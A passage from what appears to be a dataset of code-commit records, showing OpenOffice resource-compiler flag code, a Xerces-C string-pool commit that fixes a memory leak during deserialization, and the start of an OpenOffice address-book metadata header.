Flag) )\n {\n return sal_False;\n }\n Flag <<= 1;\n if( !Flag )\n Flag = 1;\n };\n }\n else\n return sal_False;\n\n return sal_True;\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::IsSet()\n|*\n*************************************************************************\/\nsal_Bool RscFlag::IsSet( const RSCINST & rInst, Atom nConstId )\n{\n sal_uInt32 i = 0, nFlag = 0;\n\n if( nEntries != (i = GetConstPos( nConstId )) ){\n nFlag = 1 << (i % (sizeof( sal_uInt32 ) * 8) );\n i = i \/ (sizeof( sal_uInt32 ) * 8);\n if( ((RscFlagInst *)rInst.pData)[ i ].nFlags & nFlag )\n return( sal_True );\n else\n return( sal_False );\n };\n return( sal_True );\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::WriteSrc()\n|*\n*************************************************************************\/\nvoid RscFlag::WriteSrc( const RSCINST & rInst, FILE * fOutput,\n RscTypCont *, sal_uInt32, const char * )\n{\n sal_uInt32 i = 0, Flag = 0, nIndex = 0;\n sal_Bool bComma = sal_False;\n\n Flag = 1;\n for( i = 0; i < nEntries; i++ ){\n nIndex = i \/ (sizeof( sal_uInt32 ) * 8);\n if( !( ((RscFlagInst *)rInst.pData)[ nIndex ].nDfltFlags & Flag) ){\n if( bComma )\n fprintf( fOutput, \", \" );\n if( ((RscFlagInst *)rInst.pData)[ nIndex ].nFlags & Flag )\n fprintf( fOutput, \"%s\", pHS->getString( pVarArray[ i ].nId ).getStr() );\n else{\n fprintf( fOutput, \"not \" );\n fprintf( fOutput, \"%s\", pHS->getString( pVarArray[ i ].nId ).getStr() );\n }\n bComma = sal_True;\n }\n Flag <<= 1;\n if( !Flag )\n Flag = 1;\n };\n}\n\n\/*************************************************************************\n|*\n|* RscFlag::WriteRc()\n|*\n*************************************************************************\/\nERRTYPE RscFlag::WriteRc( const RSCINST & rInst, RscWriteRc & aMem,\n RscTypCont *, sal_uInt32, sal_Bool )\n{\n sal_Int32 lVal = 0;\n sal_uInt32 i = 0, Flag = 0, nIndex = 0;\n\n Flag = 1;\n for( i = 0; i < nEntries; i++ ){\n nIndex = i \/ (sizeof( sal_uInt32 ) * 8);\n if( ((RscFlagInst *)rInst.pData)[ nIndex ].nFlags & Flag )\n lVal |= pVarArray[ i ].lValue;\n\n Flag <<= 1;\n if( !Flag )\n Flag = 1;\n };\n\n aMem.Put( (sal_Int32)lVal );\n return( ERR_OK );\n}\n\n\/*************************************************************************\n|*\n|* RscClient::RscClient()\n|*\n*************************************************************************\/\nRscClient::RscClient( Atom nId, sal_uInt32 nTypeId, RscFlag * pClass,\n Atom nConstantId )\n : RscTop ( nId, nTypeId )\n{\n pRefClass = pClass;\n nConstId = nConstantId;\n}\n\n\/*************************************************************************\n|*\n|* RscClient::GetClassType()\n|*\n*************************************************************************\/\nRSCCLASS_TYPE RscClient::GetClassType() const\n{\n return RSCCLASS_BOOL;\n}\n\n\/*************************************************************************\n|*\n|* RscClient::WriteSrc()\n|*\n*************************************************************************\/\nvoid RscClient::WriteSrc( const RSCINST & rInst, FILE * fOutput,\n RscTypCont *, sal_uInt32, const char * )\n{\n if( pRefClass->IsSet( rInst, nConstId ) )\n fprintf( fOutput, \"TRUE\" );\n else\n fprintf( fOutput, \"FALSE\" );\n}\n\n\/*************************************************************************\n|*\n|* RscClient::Create()\n|*\n*************************************************************************\/\nRSCINST RscClient::Create( RSCINST * pInst, const RSCINST & rDflt,\n sal_Bool bOwnClass )\n{\n RSCINST aTmpI, aDfltI;\n\n if( pInst ){\n aTmpI.pClass = pRefClass;\n aTmpI.pData = pInst->pData;\n }\n\n if( !bOwnClass && rDflt.IsInst() ){\n bOwnClass = rDflt.pClass->InHierarchy( this );\n if( bOwnClass ){\n aDfltI.pClass = pRefClass;\n aDfltI.pData = rDflt.pData;\n }\n }\n\n if( pInst )\n aTmpI = pRefClass->CreateClient( &aTmpI, aDfltI,\n bOwnClass, nConstId );\n else\n aTmpI = pRefClass->CreateClient( NULL, aDfltI,\n bOwnClass, nConstId );\n aTmpI.pClass = this;\n\n return( aTmpI );\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 1999-2003 The Apache Software Foundation. All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment:\n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written\n * permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com . For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Log$\n * Revision 1.9 2004\/01\/29 11:48:46 cargilld\n * Code cleanup changes to get rid of various compiler diagnostic messages.\n *\n * Revision 1.8 2003\/12\/17 00:18:35 cargilld\n * Update to memory management so that the static memory manager (one used to call Initialize) is only for static data.\n *\n * Revision 1.7 2003\/10\/29 16:18:41 peiyongz\n * Implement serialization\/deserialization\n *\n * Revision 1.6 2003\/10\/09 13:49:30 neilg\n * make StringPool functions virtual so that we can implement a synchronized version of StringPool for thread-safe updates.\n *\n * Revision 1.5 2003\/05\/18 14:02:05 knoaman\n * Memory manager implementation: pass per instance manager.\n *\n * Revision 1.4 2003\/05\/16 06:01:52 knoaman\n * Partial implementation of the configurable memory manager.\n *\n * Revision 1.3 2003\/05\/15 19:07:45 knoaman\n * Partial implementation of the configurable memory manager.\n *\n * Revision 1.2 2002\/11\/04 15:22:04 tng\n * C++ Namespace Support.\n *\n * Revision 1.1.1.1 2002\/02\/01 22:22:12 peiyongz\n * sane_include\n *\n * Revision 1.6 2001\/10\/22 15:43:35 tng\n * [Bug 3361] \"String pool id was not legal\" error in Attributes::getURI().\n *\n * Revision 1.5 2000\/07\/07 22:16:51 jpolast\n * remove old put(value) function. use put(key,value) instead.\n *\n * Revision 1.4 2000\/05\/15 22:31:20 andyh\n * Replace #include<memory.h> with <string.h> everywhere.\n *\n * Revision 1.3 2000\/03\/02 19:54:46 roddey\n * This checkin includes many changes done while waiting for the\n * 1.1.0 code to be finished. I can't list them all here, but a list is\n * available elsewhere.\n *\n * Revision 1.2 2000\/02\/06 07:48:04 rahulj\n * Year 2K copyright swat.\n *\n * Revision 1.1.1.1 1999\/11\/09 01:05:10 twl\n * Initial checkin\n *\n * Revision 1.2 1999\/11\/08 20:45:14 rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Includes\n\/\/ ---------------------------------------------------------------------------\n#include <xercesc\/util\/StringPool.hpp>\n#include <assert.h>\n\nXERCES_CPP_NAMESPACE_BEGIN\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ StringPool::PoolElem: Constructors and Destructor\n\/\/ ---------------------------------------------------------------------------\nXMLStringPool::PoolElem::PoolElem( const XMLCh* const string\n , const unsigned int id\n , MemoryManager* const manager) :\n fId(id)\n , fString(0)\n , fMemoryManager(manager)\n{\n fString = XMLString::replicate(string, fMemoryManager);\n}\n\nXMLStringPool::PoolElem::~PoolElem()\n{\n fMemoryManager->deallocate(fString); \/\/delete [] fString;\n}\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ StringPool::PoolElem: Public methods\n\/\/ ---------------------------------------------------------------------------\n\nvoid\nXMLStringPool::PoolElem::reset(const XMLCh* const string, const unsigned int id)\n{\n fId = id;\n fMemoryManager->deallocate(fString);\/\/delete [] fString;\n fString = XMLString::replicate(string, fMemoryManager);\n}\n\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ XMLStringPool: Constructors and Destructor\n\/\/ ---------------------------------------------------------------------------\nXMLStringPool::XMLStringPool(const unsigned int modulus,\n MemoryManager* const manager) :\n\n fMemoryManager(manager)\n , fIdMap(0)\n , fHashTable(0)\n , fMapCapacity(64)\n , fCurId(1)\n{\n \/\/ Create the hash table, passing it the modulus\n fHashTable = new (fMemoryManager) RefHashTableOf<PoolElem>(modulus, fMemoryManager);\n\n \/\/ Do an initial allocation of the id map and zero it all out\n fIdMap = (PoolElem**) fMemoryManager->allocate\n (\n fMapCapacity * sizeof(PoolElem*)\n ); \/\/new PoolElem*[fMapCapacity];\n memset(fIdMap, 0, sizeof(PoolElem*) * fMapCapacity);\n}\n\nXMLStringPool::~XMLStringPool()\n{\n delete fHashTable;\n fMemoryManager->deallocate(fIdMap); \/\/delete [] fIdMap;\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ XMLStringPool: Pool management methods\n\/\/ ---------------------------------------------------------------------------\nunsigned int XMLStringPool::addOrFind(const XMLCh* const newString)\n{\n PoolElem* elemToFind = fHashTable->get(newString);\n if (elemToFind)\n return elemToFind->fId;\n\n return addNewEntry(newString);\n}\n\n\nbool XMLStringPool::exists(const XMLCh* const newString) const\n{\n return fHashTable->containsKey(newString);\n}\n\nbool XMLStringPool::exists(const unsigned int id) const\n{\n if (!id || (id >= fCurId))\n return false;\n\n return true;\n}\n\nvoid XMLStringPool::flushAll()\n{\n fCurId = 1;\n fHashTable->removeAll();\n}\n\n\nunsigned int XMLStringPool::getId(const XMLCh* const toFind) const\n{\n PoolElem* elemToFind = fHashTable->get(toFind);\n if (elemToFind)\n return elemToFind->fId;\n\n \/\/ Not found, so return zero, which is never a legal id\n return 0;\n}\n\n\nconst XMLCh* XMLStringPool::getValueForId(const unsigned int id) const\n{\n if (!id || (id >= fCurId))\n ThrowXMLwithMemMgr(IllegalArgumentException, XMLExcepts::StrPool_IllegalId, fMemoryManager);\n\n \/\/ Just index the id map and return that element's string\n return fIdMap[id]->fString;\n}\n\nunsigned int XMLStringPool::getStringCount() const\n{\n return fCurId-1;\n}\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ XMLStringPool: Private helper methods\n\/\/ ---------------------------------------------------------------------------\nunsigned int XMLStringPool::addNewEntry(const XMLCh* const newString)\n{\n \/\/ See if we need to expand the id map\n if (fCurId == fMapCapacity)\n {\n \/\/ Calculate the new capacity, create a temp new map, and zero it\n const unsigned int newCap = (unsigned int)(fMapCapacity * 1.5);\n PoolElem** newMap = (PoolElem**) fMemoryManager->allocate\n (\n newCap * sizeof(PoolElem*)\n ); \/\/new PoolElem*[newCap];\n memset(newMap, 0, sizeof(PoolElem*) * newCap);\n\n \/\/\n \/\/ Copy over the old elements from the old map. They are just pointers\n \/\/ so we can do it all at once.\n \/\/\n memcpy(newMap, fIdMap, sizeof(PoolElem*) * fMapCapacity);\n\n \/\/ Clean up the old map and store the new info\n fMemoryManager->deallocate(fIdMap); \/\/delete [] fIdMap;\n fIdMap = newMap;\n fMapCapacity = newCap;\n }\n\n \/\/\n \/\/ Ok, now create a new element and add it to the hash table. Then store\n \/\/ this new element in the id map at the current id index, then bump the\n \/\/ id index.\n \/\/\n PoolElem* newElem = new (fMemoryManager) PoolElem(newString, fCurId, fMemoryManager);\n fHashTable->put((void*)(newElem->getKey()), newElem);\n fIdMap[fCurId] = newElem;\n\n \/\/ Bump the current id and return the id of the new elem we just added\n fCurId++;\n return newElem->fId;\n}\n\n\/***\n * Support for Serialization\/De-serialization\n ***\/\n\nIMPL_XSERIALIZABLE_TOCREATE(XMLStringPool)\n\nvoid XMLStringPool::serialize(XSerializeEngine& serEng)\n{\n \/***\n * Since we are pretty sure that fIdMap and fHashTable is \n * not shared by any other object, therefore there is no owned\/referenced\n * issue. Thus we can serialize the raw data only, rather than serializing \n * both fIdMap and fHashTable.\n *\n * And we can rebuild the fIdMap and fHashTable out of the raw data during\n * deserialization.\n *\n ***\/\n if (serEng.isStoring())\n {\n serEng<<fCurId;\n for (unsigned int index = 1; index < fCurId; index++)\n {\n const XMLCh* stringData = getValueForId(index);\n serEng.writeString(stringData);\n }\n }\n else\n {\n unsigned int mapSize;\n serEng>>mapSize;\n assert(1 == fCurId); \/\/make sure empty\n\n for (unsigned int index = 1; index < mapSize; index++)\n {\n XMLCh* stringData;\n serEng.readString(stringData);\n addNewEntry(stringData); \n }\n }\n}\n\nXMLStringPool::XMLStringPool(MemoryManager* const manager) :\n fMemoryManager(manager)\n , fIdMap(0)\n , fHashTable(0)\n , fMapCapacity(64)\n , fCurId(1)\n{\n \/\/ Create the hash table, passing it the modulus\n fHashTable = new (fMemoryManager) RefHashTableOf<PoolElem>(109, fMemoryManager);\n\n \/\/ Do an initial allocation of the id map and zero it all out\n fIdMap = (PoolElem**) fMemoryManager->allocate\n (\n fMapCapacity * sizeof(PoolElem*)\n ); \/\/new PoolElem*[fMapCapacity];\n memset(fIdMap, 0, sizeof(PoolElem*) * fMapCapacity);\n}\n\nXERCES_CPP_NAMESPACE_END\n<commit_msg>eliminate leakage<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 1999-2003 The Apache Software Foundation. All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment:\n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written\n * permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com . For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Log$\n * Revision 1.10 2004\/03\/02 23:21:37 peiyongz\n * eliminate leakage\n *\n * Revision 1.9 2004\/01\/29 11:48:46 cargilld\n * Code cleanup changes to get rid of various compiler diagnostic messages.\n *\n * Revision 1.8 2003\/12\/17 00:18:35 cargilld\n * Update to memory management so that the static memory manager (one used to call Initialize) is only for static data.\n *\n * Revision 1.7 2003\/10\/29 16:18:41 peiyongz\n * Implement serialization\/deserialization\n *\n * Revision 1.6 2003\/10\/09 13:49:30 neilg\n * make StringPool functions virtual so that we can implement a synchronized version of StringPool for thread-safe updates.\n *\n * Revision 1.5 2003\/05\/18 14:02:05 knoaman\n * Memory manager implementation: pass per instance manager.\n *\n * Revision 1.4 2003\/05\/16 06:01:52 knoaman\n * Partial implementation of the configurable memory manager.\n *\n * Revision 1.3 2003\/05\/15 19:07:45 knoaman\n * Partial implementation of the configurable memory manager.\n *\n * Revision 1.2 2002\/11\/04 15:22:04 tng\n * C++ Namespace Support.\n *\n * Revision 1.1.1.1 2002\/02\/01 22:22:12 peiyongz\n * sane_include\n *\n * Revision 1.6 2001\/10\/22 15:43:35 tng\n * [Bug 3361] \"String pool id was not legal\" error in Attributes::getURI().\n *\n * Revision 1.5 2000\/07\/07 22:16:51 jpolast\n * remove old put(value) function. use put(key,value) instead.\n *\n * Revision 1.4 2000\/05\/15 22:31:20 andyh\n * Replace #include<memory.h> with <string.h> everywhere.\n *\n * Revision 1.3 2000\/03\/02 19:54:46 roddey\n * This checkin includes many changes done while waiting for the\n * 1.1.0 code to be finished. I can't list them all here, but a list is\n * available elsewhere.\n *\n * Revision 1.2 2000\/02\/06 07:48:04 rahulj\n * Year 2K copyright swat.\n *\n * Revision 1.1.1.1 1999\/11\/09 01:05:10 twl\n * Initial checkin\n *\n * Revision 1.2 1999\/11\/08 20:45:14 rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Includes\n\/\/ ---------------------------------------------------------------------------\n#include <xercesc\/util\/StringPool.hpp>\n#include <assert.h>\n\nXERCES_CPP_NAMESPACE_BEGIN\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ StringPool::PoolElem: Constructors and Destructor\n\/\/ ---------------------------------------------------------------------------\nXMLStringPool::PoolElem::PoolElem( const XMLCh* const string\n , const unsigned int id\n , MemoryManager* const manager) :\n fId(id)\n , fString(0)\n , fMemoryManager(manager)\n{\n fString = XMLString::replicate(string, fMemoryManager);\n}\n\nXMLStringPool::PoolElem::~PoolElem()\n{\n fMemoryManager->deallocate(fString); \/\/delete [] fString;\n}\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ StringPool::PoolElem: Public methods\n\/\/ ---------------------------------------------------------------------------\n\nvoid\nXMLStringPool::PoolElem::reset(const XMLCh* const string, const unsigned int id)\n{\n fId = id;\n fMemoryManager->deallocate(fString);\/\/delete [] fString;\n fString = XMLString::replicate(string, fMemoryManager);\n}\n\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ XMLStringPool: Constructors and Destructor\n\/\/ ---------------------------------------------------------------------------\nXMLStringPool::XMLStringPool(const unsigned int modulus,\n MemoryManager* const manager) :\n\n fMemoryManager(manager)\n , fIdMap(0)\n , fHashTable(0)\n , fMapCapacity(64)\n , fCurId(1)\n{\n \/\/ Create the hash table, passing it the modulus\n fHashTable = new (fMemoryManager) RefHashTableOf<PoolElem>(modulus, fMemoryManager);\n\n \/\/ Do an initial allocation of the id map and zero it all out\n fIdMap = (PoolElem**) fMemoryManager->allocate\n (\n fMapCapacity * sizeof(PoolElem*)\n ); \/\/new PoolElem*[fMapCapacity];\n memset(fIdMap, 0, sizeof(PoolElem*) * fMapCapacity);\n}\n\nXMLStringPool::~XMLStringPool()\n{\n delete fHashTable;\n fMemoryManager->deallocate(fIdMap); \/\/delete [] fIdMap;\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ XMLStringPool: Pool management methods\n\/\/ ---------------------------------------------------------------------------\nunsigned int XMLStringPool::addOrFind(const XMLCh* const newString)\n{\n PoolElem* elemToFind = fHashTable->get(newString);\n if (elemToFind)\n return elemToFind->fId;\n\n return addNewEntry(newString);\n}\n\n\nbool XMLStringPool::exists(const XMLCh* const newString) const\n{\n return fHashTable->containsKey(newString);\n}\n\nbool XMLStringPool::exists(const unsigned int id) const\n{\n if (!id || (id >= fCurId))\n return false;\n\n return true;\n}\n\nvoid XMLStringPool::flushAll()\n{\n fCurId = 1;\n fHashTable->removeAll();\n}\n\n\nunsigned int XMLStringPool::getId(const XMLCh* const toFind) const\n{\n PoolElem* elemToFind = fHashTable->get(toFind);\n if (elemToFind)\n return elemToFind->fId;\n\n \/\/ Not found, so return zero, which is never a legal id\n return 0;\n}\n\n\nconst XMLCh* XMLStringPool::getValueForId(const unsigned int id) const\n{\n if (!id || (id >= fCurId))\n ThrowXMLwithMemMgr(IllegalArgumentException, XMLExcepts::StrPool_IllegalId, fMemoryManager);\n\n \/\/ Just index the id map and return that element's string\n return fIdMap[id]->fString;\n}\n\nunsigned int XMLStringPool::getStringCount() const\n{\n return fCurId-1;\n}\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ XMLStringPool: Private helper methods\n\/\/ ---------------------------------------------------------------------------\nunsigned int XMLStringPool::addNewEntry(const XMLCh* const newString)\n{\n \/\/ See if we need to expand the id map\n if (fCurId == fMapCapacity)\n {\n \/\/ Calculate the new capacity, create a temp new map, and zero it\n const unsigned int newCap = (unsigned int)(fMapCapacity * 1.5);\n PoolElem** newMap = (PoolElem**) fMemoryManager->allocate\n (\n newCap * sizeof(PoolElem*)\n ); \/\/new PoolElem*[newCap];\n memset(newMap, 0, sizeof(PoolElem*) * newCap);\n\n \/\/\n \/\/ Copy over the old elements from the old map. They are just pointers\n \/\/ so we can do it all at once.\n \/\/\n memcpy(newMap, fIdMap, sizeof(PoolElem*) * fMapCapacity);\n\n \/\/ Clean up the old map and store the new info\n fMemoryManager->deallocate(fIdMap); \/\/delete [] fIdMap;\n fIdMap = newMap;\n fMapCapacity = newCap;\n }\n\n \/\/\n \/\/ Ok, now create a new element and add it to the hash table. Then store\n \/\/ this new element in the id map at the current id index, then bump the\n \/\/ id index.\n \/\/\n PoolElem* newElem = new (fMemoryManager) PoolElem(newString, fCurId, fMemoryManager);\n fHashTable->put((void*)(newElem->getKey()), newElem);\n fIdMap[fCurId] = newElem;\n\n \/\/ Bump the current id and return the id of the new elem we just added\n fCurId++;\n return newElem->fId;\n}\n\n\/***\n * Support for Serialization\/De-serialization\n ***\/\n\nIMPL_XSERIALIZABLE_TOCREATE(XMLStringPool)\n\nvoid XMLStringPool::serialize(XSerializeEngine& serEng)\n{\n \/***\n * Since we are pretty sure that fIdMap and fHashTable is \n * not shared by any other object, therefore there is no owned\/referenced\n * issue. Thus we can serialize the raw data only, rather than serializing \n * both fIdMap and fHashTable.\n *\n * And we can rebuild the fIdMap and fHashTable out of the raw data during\n * deserialization.\n *\n ***\/\n if (serEng.isStoring())\n {\n serEng<<fCurId;\n for (unsigned int index = 1; index < fCurId; index++)\n {\n const XMLCh* stringData = getValueForId(index);\n serEng.writeString(stringData);\n }\n }\n else\n {\n unsigned int mapSize;\n serEng>>mapSize;\n assert(1 == fCurId); \/\/make sure empty\n\n for (unsigned int index = 1; index < mapSize; index++)\n {\n XMLCh* stringData;\n serEng.readString(stringData);\n addNewEntry(stringData);\n\n \/\/we got to deallocate this string \n \/\/since stringpool will duplicate this string in the PoolElem and own that copy\n fMemoryManager->deallocate(stringData);\n }\n }\n}\n\nXMLStringPool::XMLStringPool(MemoryManager* const manager) :\n fMemoryManager(manager)\n , fIdMap(0)\n , fHashTable(0)\n , fMapCapacity(64)\n , fCurId(1)\n{\n \/\/ Create the hash table, passing it the modulus\n fHashTable = new (fMemoryManager) RefHashTableOf<PoolElem>(109, fMemoryManager);\n\n \/\/ Do an initial allocation of the id map and zero it all out\n fIdMap = (PoolElem**) fMemoryManager->allocate\n (\n fMapCapacity * sizeof(PoolElem*)\n ); \/\/new PoolElem*[fMapCapacity];\n memset(fIdMap, 0, sizeof(PoolElem*) * fMapCapacity);\n}\n\nXERCES_CPP_NAMESPACE_END\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: KResultSetMetaData.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: obo $ $Date: 2005-12-19 16:51:00 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_KAB_RESULTSETMETADATA_HXX_\n#define _CONNECTIVITY_KAB_RESULTSETMETADATA_HXX_\n\n#ifndef _CONNECTIVITY_KAB_CONNECTION_HXX_\n#include \"KConnection.hxx\"\n#endif\n\n#ifndef _CONNECTIVITY_COMMONTOOLS_HXX_\n#include <connectivity\/CommonTools.hxx>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSETMETADATA_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSetMetaData.hpp>\n#endif\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase1.hxx>\n#endif\n#ifndef _VOS_REF_HXX_\n#include <vos\/ref.hxx>\n#endif\n\nnamespace connectivity\n{\n namespace kab\n {\n \/*\n ** KabResultSetMetaData\n *\/\n typedef ::cppu::WeakImplHelper1< ::com::sun::star::sdbc::XResultSetMetaData> KabResultSetMetaData_BASE;\n\n class KabResultSetMetaData : public KabResultSetMetaData_BASE\n {\n KabConnection* m_pConnection;\n ::std::vector<sal_Int32> m_aKabFields; \/\/ for each selected column, contains the number\n \/\/ of the corresponding KAddressBook field\n\n protected:\n virtual ~KabResultSetMetaData();\n\n public:\n KabResultSetMetaData(KabConnection* _pConnection);\n\n \/\/ avoid ambigous cast error from the compiler\n inline operator ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XResultSetMetaData > () throw()\n { return this; }\n\n void setKabFields(\n const ::vos::ORef<connectivity::OSQLColumns> &xColumns) throw(::com::sun::star::sdbc::SQLException);\n inline sal_uInt32 fieldAtColumn(sal_Int32 columnIndex) const\n { return m_aKabFields[columnIndex - 1]; }\n\n virtual sal_Int32 SAL_CALL getColumnCount( ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isAutoIncrement( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCaseSensitive( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSearchable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCurrency( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL isNullable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSigned( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnDisplaySize( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnLabel( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getSchemaName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getPrecision( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, 